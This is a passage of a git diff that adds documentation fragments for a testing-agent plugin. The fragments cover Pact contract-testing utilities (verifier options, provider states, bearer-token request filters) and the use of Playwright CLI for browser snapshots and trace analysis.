+| Request Filter    | `createRequestFilter`             | Express middleware with pluggable token generator    | Auth injection for provider verification                         |
+| Request Filter    | `noOpRequestFilter`               | Pass-through filter (no-op)                          | Providers without auth requirements                              |
+
+## Decision Tree: Which Flow?
+
+```
+Is this a monorepo (consumer + provider in same repo)?
+├── YES → Local Flow
+│   - Consumer generates pact files to ./pacts/
+│   - Provider reads pact files from ./pacts/ (no broker needed)
+│   - Use buildVerifierOptions with pactUrls option
+│
+└── NO → Do you have a Pact Broker / PactFlow?
+    ├── YES → Remote (CDCT) Flow
+    │   - Consumer publishes pacts to broker
+    │   - Provider verifies from broker
+    │   - Use buildVerifierOptions with broker config
+    │   - Set PACT_BROKER_BASE_URL + PACT_BROKER_TOKEN
+    │
+    └── Do you have an OpenAPI spec?
+        ├── YES → BDCT Flow (PactFlow only)
+        │   - Provider publishes OpenAPI spec to PactFlow
+        │   - PactFlow cross-validates consumer pacts against spec
+        │   - No provider verification test needed
+        │
+        └── NO → Start with Local Flow, migrate to Remote later
+```
+
+## Design Philosophy
+
+1. **One-call setup**: Each utility does one thing completely — no multi-step assembly required
+2. **Environment-aware**: Utilities read env vars for CI/CD integration without manual wiring
+3. **Type-safe**: Full TypeScript types for all inputs and outputs, exported for consumer use
+4. **Fail-safe defaults**: Sensible defaults that work locally; env vars override for CI
+5. **Composable**: Utilities work independently — use only what you need
+
+## Pattern Examples
+
+### Example 1: Minimal Consumer Test
+
+```typescript
+import { PactV3 } from '@pact-foundation/pact';
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+const provider = new PactV3({
+  consumer: 'my-frontend',
+  provider: 'my-api',
+  dir: './pacts',
+});
+
+it('should get user by id', async () => {
+  await provider
+    .given(...createProviderState({ name: 'user exists', params: { id: 1 } }))
+    .uponReceiving('a request for user 1')
+    .withRequest({ method: 'GET', path: '/users/1' })
+    .willRespondWith({ status: 200, body: { id: 1, name: 'John' } })
+    .executeTest(async (mockServer) => {
+      const res = await fetch(`${mockServer.url}/users/1`);
+      expect(res.status).toBe(200);
+    });
+});
+```
+
+### Example 2: Minimal Provider Verification
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    'user exists': async (params) => {
+      await db.seed({ users: [{ id: params?.id }] });
+    },
+  },
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => 'test-token-123',
+  }),
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+## Key Points
+
+- **Import path**: Always use `@seontechnologies/pactjs-utils` (no subpath exports)
+- **Peer dependency**: `@pact-foundation/pact` must be installed separately
+- **Local flow**: No broker needed — set `pactUrls` in verifier options pointing to local pact files
+- **Remote flow**: Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` env vars
+- **Breaking changes**: Set `includeMainAndDeployed: false` when coordinating breaking changes (verifies only matchingBranch)
+- **Builder helpers**: Use `setJsonContent` when you need query/headers/body together; use `setJsonBody` for body-only callbacks
+- **Type exports**: Library exports `StateHandlers`, `RequestFilter`, `JsonMap`, `JsonContentInput`, `ConsumerVersionSelector` types
+
+## Related Fragments
+
+- `pactjs-utils-consumer-helpers.md` — detailed createProviderState, toJsonMap, setJsonContent, and setJsonBody usage
+- `pactjs-utils-provider-verifier.md` — detailed buildVerifierOptions and broker configuration
+- `pactjs-utils-request-filter.md` — detailed createRequestFilter and auth patterns
+- `contract-testing.md` — foundational contract testing patterns (raw Pact.js approach)
+- `test-levels-framework.md` — where contract tests fit in the testing pyramid
+
+## Anti-Patterns
+
+### Wrong: Manual VerifierOptions assembly when pactjs-utils is available
+
+```typescript
+// ❌ Don't assemble VerifierOptions manually
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+  publishVerificationResult: process.env.CI === 'true',
+  providerVersion: process.env.GIT_SHA || 'dev',
+  consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: (req, res, next) => {
+    /* ... */
+  },
+  // ... 20 more lines
+};
+```
+
+### Right: Use buildVerifierOptions
+
+```typescript
+// ✅ Single call handles all configuration
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({ tokenGenerator: () => 'token' }),
+});
+```
+
+### Wrong: Importing raw Pact types for JsonMap conversion
+
+```typescript
+// ❌ Manual JsonMap casting
+import type { JsonMap } from '@pact-foundation/pact';
+
+provider.given('user exists', { id: 1 as unknown as JsonMap['id'] });
+```
+
+### Right: Use createProviderState
+
+```typescript
+// ✅ Automatic type conversion
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+provider.given(...createProviderState({ name: 'user exists', params: { id: 1 } }));
+```
+
+_Source: @seontechnologies/pactjs-utils library, pactjs-utils README, pact-js-example-provider workflows_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pactjs-utils-provider-verifier.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pactjs-utils-provider-verifier.md
new file mode 100644
index 0000000..f29989e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pactjs-utils-provider-verifier.md
@@ -0,0 +1,315 @@
+# Pact.js Utils Provider Verifier
+
+## Principle
+
+Use `buildVerifierOptions`, `buildMessageVerifierOptions`, `handlePactBrokerUrlAndSelectors`, and `getProviderVersionTags` from `@seontechnologies/pactjs-utils` to assemble complete provider verification configuration in a single call. These utilities handle local/remote flow detection, broker URL resolution, consumer version selector strategy, and CI-aware version tagging. The caller controls breaking change behavior via the required `includeMainAndDeployed` parameter.
+
+## Rationale
+
+### Problems with manual VerifierOptions
+
+- **30+ lines of scattered config**: Assembling `VerifierOptions` manually requires broker URL, token, selectors, state handlers, request filters, version info, publish flags — all in one object
+- **Environment variable logic**: Different env vars for local vs remote, CI vs local dev, breaking change vs normal flow
+- **Consumer version selector complexity**: Choosing between `mainBranch`, `deployedOrReleased`, `matchingBranch`, and `includeMainAndDeployed` requires understanding Pact Broker semantics
+- **Breaking change coordination**: When a provider intentionally breaks a contract, manual selector switching is error-prone
+- **Cross-execution protection**: `PACT_PAYLOAD_URL` webhook payloads need special handling to verify only the triggering pact
+
+### Solutions
+
+- **`buildVerifierOptions`**: Single function that reads env vars, selects the right flow, and returns complete `VerifierOptions`
+- **`buildMessageVerifierOptions`**: Same as above for message/Kafka provider verification
+- **`handlePactBrokerUrlAndSelectors`**: Pure function for broker URL + selector resolution (used internally, also exported for advanced use)
+- **`getProviderVersionTags`**: Extracts CI branch/tag info from environment for provider version tagging
+
+## Pattern Examples
+
+### Example 1: HTTP Provider Verification (Remote Flow)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+import type { StateHandlers } from '@seontechnologies/pactjs-utils';
+
+const stateHandlers: StateHandlers = {
+  'movie with id 1 exists': {
+    setup: async (params) => {
+      await db.seed({ movies: [{ id: params?.id ?? 1, name: 'Inception' }] });
+    },
+    teardown: async () => {
+      await db.clean('movies');
+    },
+  },
+  'no movies exist': async () => {
+    await db.clean('movies');
+  },
+};
+
+// buildVerifierOptions reads these env vars automatically:
+// - PACT_BROKER_BASE_URL (broker URL)
+// - PACT_BROKER_TOKEN (broker auth)
+// - PACT_PAYLOAD_URL (webhook trigger — cross-execution protection)
+// - PACT_BREAKING_CHANGE (if "true", uses includeMainAndDeployed selectors)
+// - GITHUB_SHA (provider version)
+// - CI (publish verification results if "true")
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers,
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'test-token',
+  }),
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+**Key Points**:
+
+- Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` as env vars — `buildVerifierOptions` reads them automatically
+- `port` is a string (e.g., `'3001'`) — the function builds `providerBaseUrl: http://localhost:${port}` internally
+- `includeMainAndDeployed` is **required** — set `true` for normal flow, `false` for breaking changes
+- State handlers support both simple functions and `{ setup, teardown }` objects
+- `params` in state handlers correspond to the `JsonMap` from consumer's `createProviderState`
+- Verification results are published by default (`publishVerificationResult` defaults to `true`)
+
+### Example 2: Local Flow (Monorepo, No Broker)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions } from '@seontechnologies/pactjs-utils';
+
+// When PACT_BROKER_BASE_URL is NOT set, buildVerifierOptions
+// falls back to local pact file verification
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  // Specify local pact files directly — skips broker entirely
+  pactUrls: ['./pacts/movie-web-SampleMoviesAPI.json'],
+  stateHandlers: {
+    'movie exists': async (params) => {
+      await db.seed({ movies: [{ id: params?.id }] });
+    },
+  },
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+### Example 3: Message Provider Verification (Kafka/Async)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildMessageVerifierOptions } from '@seontechnologies/pactjs-utils';
+
+const opts = buildMessageVerifierOptions({
+  provider: 'OrderEventsProducer',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  // Message handlers return the message content that the provider would produce
+  messageProviders: {
+    'an order created event': async () => ({
+      orderId: 'order-123',
+      userId: 'user-456',
+      items: [{ productId: 'prod-789', quantity: 2 }],
+      createdAt: new Date().toISOString(),
+    }),
+    'an order cancelled event': async () => ({
+      orderId: 'order-123',
+      reason: 'customer_request',
+      cancelledAt: new Date().toISOString(),
+    }),
+  },
+  stateHandlers: {
+    'order exists': async (params) => {
+      await db.seed({ orders: [{ id: params?.orderId }] });
+    },
+  },
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+**Key Points**:
+
+- `buildMessageVerifierOptions` adds `messageProviders` to the verifier config
+- Each message provider function returns the expected message payload
+- State handlers work the same as HTTP verification
+- Broker integration works identically (same env vars)
+
+### Example 4: Breaking Change Coordination
+
+```typescript
+// When a provider intentionally introduces a breaking change:
+//
+// 1. Set PACT_BREAKING_CHANGE=true in CI environment
+// 2. Your test reads the env var and passes includeMainAndDeployed: false
+//    to buildVerifierOptions — this verifies ONLY against the matching
+//    branch, skipping main/deployed consumers that would fail
+// 3. Coordinate with consumer team to update their pact on a matching branch
+// 4. Remove PACT_BREAKING_CHANGE flag after consumer updates
+
+// In CI environment (.github/workflows/provider-verify.yml):
+// env:
+//   PACT_BREAKING_CHANGE: 'true'
+
+// Your provider test code reads the env var:
+const isBreakingChange = process.env.PACT_BREAKING_CHANGE === 'true';
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: !isBreakingChange, // false during breaking changes
+  stateHandlers: {
+    /* ... */
+  },
+});
+// When includeMainAndDeployed is false (breaking change):
+//   selectors = [{ matchingBranch: true }]
+// When includeMainAndDeployed is true (normal):
+//   selectors = [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }]
+```
+
+### Example 5: handlePactBrokerUrlAndSelectors (Advanced)
+
+```typescript
+import { handlePactBrokerUrlAndSelectors } from '@seontechnologies/pactjs-utils';
+import type { VerifierOptions } from '@pact-foundation/pact';
+
+// For advanced use cases — mutates the options object in-place (returns void)
+const options: VerifierOptions = {
+  provider: 'SampleMoviesAPI',
+  providerBaseUrl: 'http://localhost:3001',
+};
+
+handlePactBrokerUrlAndSelectors({
+  pactPayloadUrl: process.env.PACT_PAYLOAD_URL,
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  consumer: undefined, // or specific consumer name
+  includeMainAndDeployed: true,
+  options, // mutated in-place: sets pactBrokerUrl, consumerVersionSelectors, or pactUrls
+});
+
+// After call, options has been mutated with:
+// - options.pactBrokerUrl (from pactBrokerUrl param)
+// - options.consumerVersionSelectors (based on includeMainAndDeployed)
+// OR if pactPayloadUrl matches: options.pactUrls = [pactPayloadUrl]
+```
+
+**Note**: `handlePactBrokerUrlAndSelectors` is called internally by `buildVerifierOptions`. You rarely need it directly — use it only for advanced custom verifier assembly.
+
+### Example 6: getProviderVersionTags
+
+```typescript
+import { getProviderVersionTags } from '@seontechnologies/pactjs-utils';
+
+// Extracts version tags from CI environment
+const tags = getProviderVersionTags();
+
+// In GitHub Actions on branch "feature/add-movies" (non-breaking):
+//   tags = ['dev', 'feature/add-movies']
+//
+// In GitHub Actions on main branch (non-breaking):
+//   tags = ['dev', 'main']
+//
+// In GitHub Actions with PACT_BREAKING_CHANGE=true:
+//   tags = ['feature/add-movies']  (no 'dev' tag)
+//
+// Locally (no CI):
+//   tags = ['local']
+```
+
+## Environment Variables Reference
+
+| Variable               | Required        | Description                                                                                                                           | Default     |
+| ---------------------- | --------------- | ------------------------------------------------------------------------------------------------------------------------------------- | ----------- |
+| `PACT_BROKER_BASE_URL` | For remote flow | Pact Broker / PactFlow URL                                                                                                            | —           |
+| `PACT_BROKER_TOKEN`    | For remote flow | API token for broker authentication                                                                                                   | —           |
+| `GITHUB_SHA`           | Recommended     | Provider version for verification result publishing (auto-set by GitHub Actions)                                                      | `'unknown'` |
+| `GITHUB_BRANCH`        | Recommended     | Branch name for provider version branch and version tags (**not auto-set** — define as `${{ github.head_ref \|\| github.ref_name }}`) | `'main'`    |
+| `PACT_PAYLOAD_URL`     | Optional        | Webhook payload URL — triggers verification of specific pact only                                                                     | —           |
+| `PACT_BREAKING_CHANGE` | Optional        | Set to `"true"` to use breaking change selector strategy                                                                              | `'false'`   |
+| `CI`                   | Auto-detected   | When `"true"`, enables verification result publishing                                                                                 | —           |
+
+## Key Points
+
+- **Flow auto-detection**: If `PACT_BROKER_BASE_URL` is set → remote flow; otherwise → local flow (requires `pactUrls`)
+- **`port` is a string**: Pass port number as string (e.g., `'3001'`); function builds `http://localhost:${port}` internally
+- **`includeMainAndDeployed` is required**: `true` = verify matchingBranch + mainBranch + deployedOrReleased; `false` = verify matchingBranch only (for breaking changes)
+- **Selector strategy**: Normal flow (`includeMainAndDeployed: true`) includes all selectors; breaking change flow (`false`) includes only `matchingBranch`
+- **Webhook support**: `PACT_PAYLOAD_URL` takes precedence — verifies only the specific pact that triggered the webhook
+- **State handler types**: Both `async (params) => void` and `{ setup: async (params) => void, teardown: async () => void }` are supported
+- **Version publishing**: Verification results are published by default (`publishVerificationResult` defaults to `true`)
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
+- `pactjs-utils-consumer-helpers.md` — consumer-side state parameter creation
+- `pactjs-utils-request-filter.md` — auth injection for provider verification
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual broker URL and selector assembly
+
+```typescript
+// ❌ Manual environment variable handling
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+  publishVerificationResult: process.env.CI === 'true',
+  providerVersion: process.env.GIT_SHA || process.env.GITHUB_SHA || 'dev',
+  providerVersionBranch: process.env.GITHUB_HEAD_REF || process.env.GITHUB_REF_NAME,
+  consumerVersionSelectors:
+    process.env.PACT_BREAKING_CHANGE === 'true'
+      ? [{ matchingBranch: true }]
+      : [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }],
+  pactUrls: process.env.PACT_PAYLOAD_URL ? [process.env.PACT_PAYLOAD_URL] : undefined,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: (req, res, next) => {
+    req.headers['authorization'] = `Bearer ${process.env.TEST_TOKEN}`;
+    next();
+  },
+};
+```
+
+### Right: Use buildVerifierOptions
+
+```typescript
+// ✅ All env var logic handled internally
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => process.env.TEST_TOKEN ?? 'test-token',
+  }),
+});
+```
+
+### Wrong: Hardcoding consumer version selectors
+
+```typescript
+// ❌ Hardcoded selectors — breaks when flow changes
+consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
+```
+
+### Right: Let buildVerifierOptions choose selectors
+
+```typescript
+// ✅ Selector strategy adapts to PACT_BREAKING_CHANGE env var
+const opts = buildVerifierOptions({
+  /* ... */
+});
+// Selectors chosen automatically based on environment
+```
+
+_Source: @seontechnologies/pactjs-utils provider-verifier module, pact-js-example-provider CI workflows_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pactjs-utils-request-filter.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pactjs-utils-request-filter.md
new file mode 100644
index 0000000..d046cf4
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/pactjs-utils-request-filter.md
@@ -0,0 +1,224 @@
+# Pact.js Utils Request Filter
+
+## Principle
+
+Use `createRequestFilter` and `noOpRequestFilter` from `@seontechnologies/pactjs-utils` to inject authentication headers during provider verification. The pluggable token generator pattern prevents double-Bearer bugs and separates auth concerns from verification logic.
+
+## Rationale
+
+### Problems with manual request filters
+
+- **Express type gymnastics**: Pact's `requestFilter` expects `(req, res, next) => void` with Express-compatible types — but Pact doesn't re-export these types
+- **Double-Bearer bug**: Easy to write `Authorization: Bearer Bearer ${token}` when the token generator already includes the prefix
+- **Inline complexity**: Auth logic mixed with verifier config makes tests harder to read
+- **No-op boilerplate**: Providers without auth still need a pass-through function or `undefined`
+
+### Solutions
+
+- **`createRequestFilter`**: Accepts `{ tokenGenerator: () => string }` — generator returns raw token value synchronously, filter adds `Bearer ` prefix
+- **`noOpRequestFilter`**: Pre-built pass-through for providers without auth requirements
+- **Bearer prefix contract**: `tokenGenerator` returns raw value (e.g., `"abc123"`), filter always adds `"Bearer "` — impossible to double-prefix
+
+## Pattern Examples
+
+### Example 1: Basic Auth Injection
+
+```typescript
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({
+    // tokenGenerator returns raw token — filter adds "Bearer " prefix
+    tokenGenerator: () => 'test-auth-token-123',
+  }),
+});
+
+// Every request during verification will have:
+// Authorization: Bearer test-auth-token-123
+```
+
+**Key Points**:
+
+- `tokenGenerator` is **synchronous** (`() => string`) — if you need async token fetching, resolve the token before creating the filter
+- Return the raw token value, NOT `"Bearer ..."` — the filter adds the prefix
+- Filter sets `Authorization` header on every request during verification
+
+### Example 2: Dynamic Token (Pre-resolved)
+
+```typescript
+import { createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+// Since tokenGenerator is synchronous, fetch the token before creating the filter
+let cachedToken: string;
+
+async function setupRequestFilter() {
+  const response = await fetch('http://localhost:8080/auth/token', {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' },
+    body: JSON.stringify({
+      clientId: process.env.TEST_CLIENT_ID,
+      clientSecret: process.env.TEST_CLIENT_SECRET,
+    }),
+  });
+  const { access_token } = await response.json();
+  cachedToken = access_token;
+}
+
+const requestFilter = createRequestFilter({
+  tokenGenerator: () => cachedToken, // Synchronous — returns pre-fetched token
+});
+
+const opts = buildVerifierOptions({
+  provider: 'SecureAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter,
+});
+```
+
+### Example 3: No-Auth Provider
+
+```typescript
+import { buildVerifierOptions, noOpRequestFilter } from '@seontechnologies/pactjs-utils';
+
+// For providers that don't require authentication
+const opts = buildVerifierOptions({
+  provider: 'PublicAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: noOpRequestFilter,
+});
+
+// noOpRequestFilter is equivalent to: (req, res, next) => next()
+```
+
+### Example 4: Integration with buildVerifierOptions
+
+```typescript
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+import type { StateHandlers } from '@seontechnologies/pactjs-utils';
+
+// Complete provider verification setup
+const stateHandlers: StateHandlers = {
+  'user is authenticated': async () => {
+    // Auth state is handled by the request filter, not state handler
+  },
+  'movie exists': {
+    setup: async (params) => {
+      await db.seed({ movies: [{ id: params?.id }] });
+    },
+    teardown: async () => {
+      await db.clean('movies');
+    },
+  },
+};
+
+const requestFilter = createRequestFilter({
+  tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'fallback-token',
+});
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: process.env.PORT ?? '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers,
+  requestFilter,
+});
+
+// Run verification
+await new Verifier(opts).verifyProvider();
+```
+
+## Key Points
+
+- **Bearer prefix contract**: `tokenGenerator` returns raw value → filter adds `"Bearer "` → impossible to double-prefix
+- **Synchronous only**: `tokenGenerator` must return `string` (not `Promise<string>`) — pre-resolve async tokens before creating the filter
+- **Separation of concerns**: Auth logic in `createRequestFilter`, verification logic in `buildVerifierOptions`
+- **noOpRequestFilter**: Use for providers without auth — cleaner than `undefined` or inline no-op
+- **Express compatible**: The returned filter matches Pact's expected `(req, res, next) => void` signature
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, utility table, decision tree
+- `pactjs-utils-provider-verifier.md` — buildVerifierOptions integration
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual Bearer prefix with double-prefix risk
+
+```typescript
+// ❌ Risk of double-prefix: "Bearer Bearer token"
+requestFilter: (req, res, next) => {
+  const token = getToken(); // What if getToken() returns "Bearer abc123"?
+  req.headers['authorization'] = `Bearer ${token}`;
+  next();
+};
+```
+
+### Right: Use createRequestFilter with raw token
+
+```typescript
+// ✅ tokenGenerator returns raw value — filter handles prefix
+requestFilter: createRequestFilter({
+  tokenGenerator: () => getToken(), // Returns "abc123", not "Bearer abc123"
+});
+```
+
+### Wrong: Inline auth logic in verifier config
+
+```typescript
+// ❌ Auth logic mixed with verifier config
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  requestFilter: (req, res, next) => {
+    const clientId = process.env.CLIENT_ID;
+    const clientSecret = process.env.CLIENT_SECRET;
+    // 10 lines of token fetching logic...
+    req.headers['authorization'] = `Bearer ${token}`;
+    next();
+  },
+  // ... rest of config
+};
+```
+
+### Right: Separate auth into createRequestFilter
+
+```typescript
+// ✅ Clean separation — async setup wraps token fetch (CommonJS-safe)
+async function setupVerifierOptions() {
+  const token = await fetchAuthToken(); // Resolve async token BEFORE creating filter
+
+  const requestFilter = createRequestFilter({
+    tokenGenerator: () => token, // Synchronous — returns pre-fetched value
+  });
+
+  return buildVerifierOptions({
+    provider: 'my-api',
+    port: '3001',
+    includeMainAndDeployed: true,
+    requestFilter,
+    stateHandlers: {
+      /* ... */
+    },
+  });
+}
+
+// In tests/hooks, callers can await setupVerifierOptions():
+// const opts = await setupVerifierOptions();
+```
+
+_Source: @seontechnologies/pactjs-utils request-filter module, pact-js-example-provider verification tests_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/playwright-cli.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/playwright-cli.md
new file mode 100644
index 0000000..a80a91b
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/playwright-cli.md
@@ -0,0 +1,280 @@
+# Playwright CLI — Browser Automation for Coding Agents
+
+## Principle
+
+When an AI agent needs to look at a webpage — take a snapshot, grab selectors, capture a screenshot — it shouldn't have to load thousands of tokens of DOM trees and tool schemas into its context window just to do that. Playwright CLI gives the agent a lightweight way to talk to a browser through simple shell commands, keeping the context window free for reasoning and code generation.
+
+## Rationale
+
+Playwright MCP is powerful, but it's heavy. Every interaction loads full accessibility trees and tool definitions into the LLM context. That's fine for complex, stateful flows where you need rich introspection. But for the common case — "open this page, tell me what's on it, take a screenshot" — it's overkill.
+
+Playwright CLI solves this by returning concise **element references** (`e15`, `e21`) instead of full DOM dumps. The result: ~93% fewer tokens per interaction, which means the agent can run longer sessions, reason more deeply, and still have context left for your actual code.
+
+**The trade-off is simple:**
+
+- **CLI** = fast, lightweight, stateless — great for quick looks at pages
+- **MCP** = rich, stateful, full-featured — great for complex multi-step automation
+
+TEA uses both where each shines (see `tea_browser_automation: "auto"`).
+
+## Prerequisites
+
+```bash
+npm install -g @playwright/cli@latest    # Install globally (Node.js 18+)
+playwright-cli install --skills          # Register as an agent skill
+```
+
+The global npm install is one-time. Run `playwright-cli install --skills` from your project root to register skills in `.claude/skills/` (works with Claude Code, GitHub Copilot, and other coding agents). Agents without skills support can use the CLI directly via `playwright-cli --help`. TEA documents this during installation but does not run it for you.
+
+## How It Works
+
+The agent interacts with the browser through shell commands. Each command is a single, focused action:
+
+```bash
+# 1. Open a page
+playwright-cli -s=tea-explore open https://app.com/login
+
+# 2. Take a snapshot — returns element references, not DOM trees
+playwright-cli -s=tea-explore snapshot
+# Output: [{ref: "e15", role: "textbox", name: "Email"},
+#          {ref: "e21", role: "textbox", name: "Password"},
+#          {ref: "e33", role: "button", name: "Sign In"}]
+
+# 3. Interact using those references
+playwright-cli -s=tea-explore fill e15 "user@example.com"
+playwright-cli -s=tea-explore fill e21 "password123"
+playwright-cli -s=tea-explore click e33
+
+# 4. Capture evidence
+playwright-cli -s=tea-explore screenshot --filename=login-flow.png
+
+# 5. Clean up
+playwright-cli -s=tea-explore close
+```
+
+The `-s=tea-explore` flag scopes everything to a named session, preventing state leakage between workflows.
+
+## What TEA Uses It For
+
+**Selector verification** — Before generating test code, TEA can snapshot a page to see the actual labels, roles, and names of elements. Instead of guessing that a button says "Login", it knows it says "Sign In":
+
+```
+snapshot ref {role: "button", name: "Sign In"}
+  → generates: page.getByRole('button', { name: 'Sign In' })
+```
+
+**Page discovery** — During `test-design` exploratory mode, TEA snapshots pages to understand what's actually there, rather than relying only on documentation.
+
+**Evidence collection** — During `test-review`, TEA can capture screenshots, traces, and network logs as evidence without the overhead of a full MCP session.
+
+**Agent-side test debugging** — For existing failing Playwright tests, TEA should prefer Playwright's agent-facing debug loop over ad hoc manual reproduction: `npx playwright test --debug=cli` to step through the test in CLI mode (no GUI Inspector — designed for coding agents), then `npx playwright trace ...` to inspect the resulting trace artifact from the command line. The `--debug=cli` flag (Playwright 1.59+) lets agents attach, step through execution, and inspect page state without ever opening a browser window.
+
+## How CLI Relates to Playwright Utils and API Testing
+
+CLI and playwright-utils are **complementary tools that work at different layers**:
+
+|              | Playwright CLI                               | Playwright Utils                                 |
+| ------------ | -------------------------------------------- | ------------------------------------------------ |
+| **When**     | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) |
+| **What**     | Shell commands to observe your app           | Fixtures and helpers imported in test files      |
+| **Examples** | `snapshot`, `screenshot`, `network`          | `apiRequest`, `auth-session`, `network-recorder` |
+
+They work together naturally. The agent uses CLI to _understand_ your app, then generates test code that _imports_ playwright-utils:
+
+```bash
+# Agent uses CLI to observe network traffic on the dashboard page
+playwright-cli -s=tea-discover open https://app.com/dashboard
+playwright-cli -s=tea-discover network
+# Output: GET /api/users → 200, POST /api/audit → 201, GET /api/settings → 200
+playwright-cli -s=tea-discover close
+```
+
+```typescript
+// Agent generates API tests using what it discovered, with playwright-utils
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('GET /api/users returns user list', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest<User[]>({
+    method: 'GET',
+    path: '/api/users',
+  });
+  expect(status).toBe(200);
+  expect(body.length).toBeGreaterThan(0);
+});
+```
+
+**For pure API testing** (no UI involved), `playwright-cli` browser commands (snapshot, screenshot, click) don't apply — there's no page. But **trace analysis is highly valuable**. Playwright captures full network traces for API tests (requests, responses, headers, timing), and the trace CLI lets the agent inspect them programmatically:
+
+```bash
+# API test fails in CI → open the trace artifact
+npx playwright trace open test-results/api-users/trace.zip
+
+# What HTTP call failed?
+npx playwright trace requests --failed
+# Output: #3  POST /api/users  → 422  12ms
+
+# Full request/response details (headers, body, timing)
+npx playwright trace request 3
+
+# What assertion failed and why?
+npx playwright trace errors
+
+# Done
+npx playwright trace close
+```
+
+This gives the agent the full HTTP conversation — wrong payload, expired auth token, schema mismatch, upstream 5xx — without a human opening UI mode. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils, and uses trace analysis to diagnose failures.
+
+**For E2E testing**, CLI shines at both ends — browser commands (snapshot, screenshot) during test generation, and trace analysis (actions, snapshots, requests) during debugging.
+
+**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_. Trace analysis helps the agent _fix them when they break_.
+
+## Session Isolation
+
+Every CLI command targets a named session. This prevents workflows from interfering with each other:
+
+```bash
+# Workflow A uses one session
+playwright-cli -s=tea-explore open https://app.com
+
+# Workflow B uses a different session (can run in parallel)
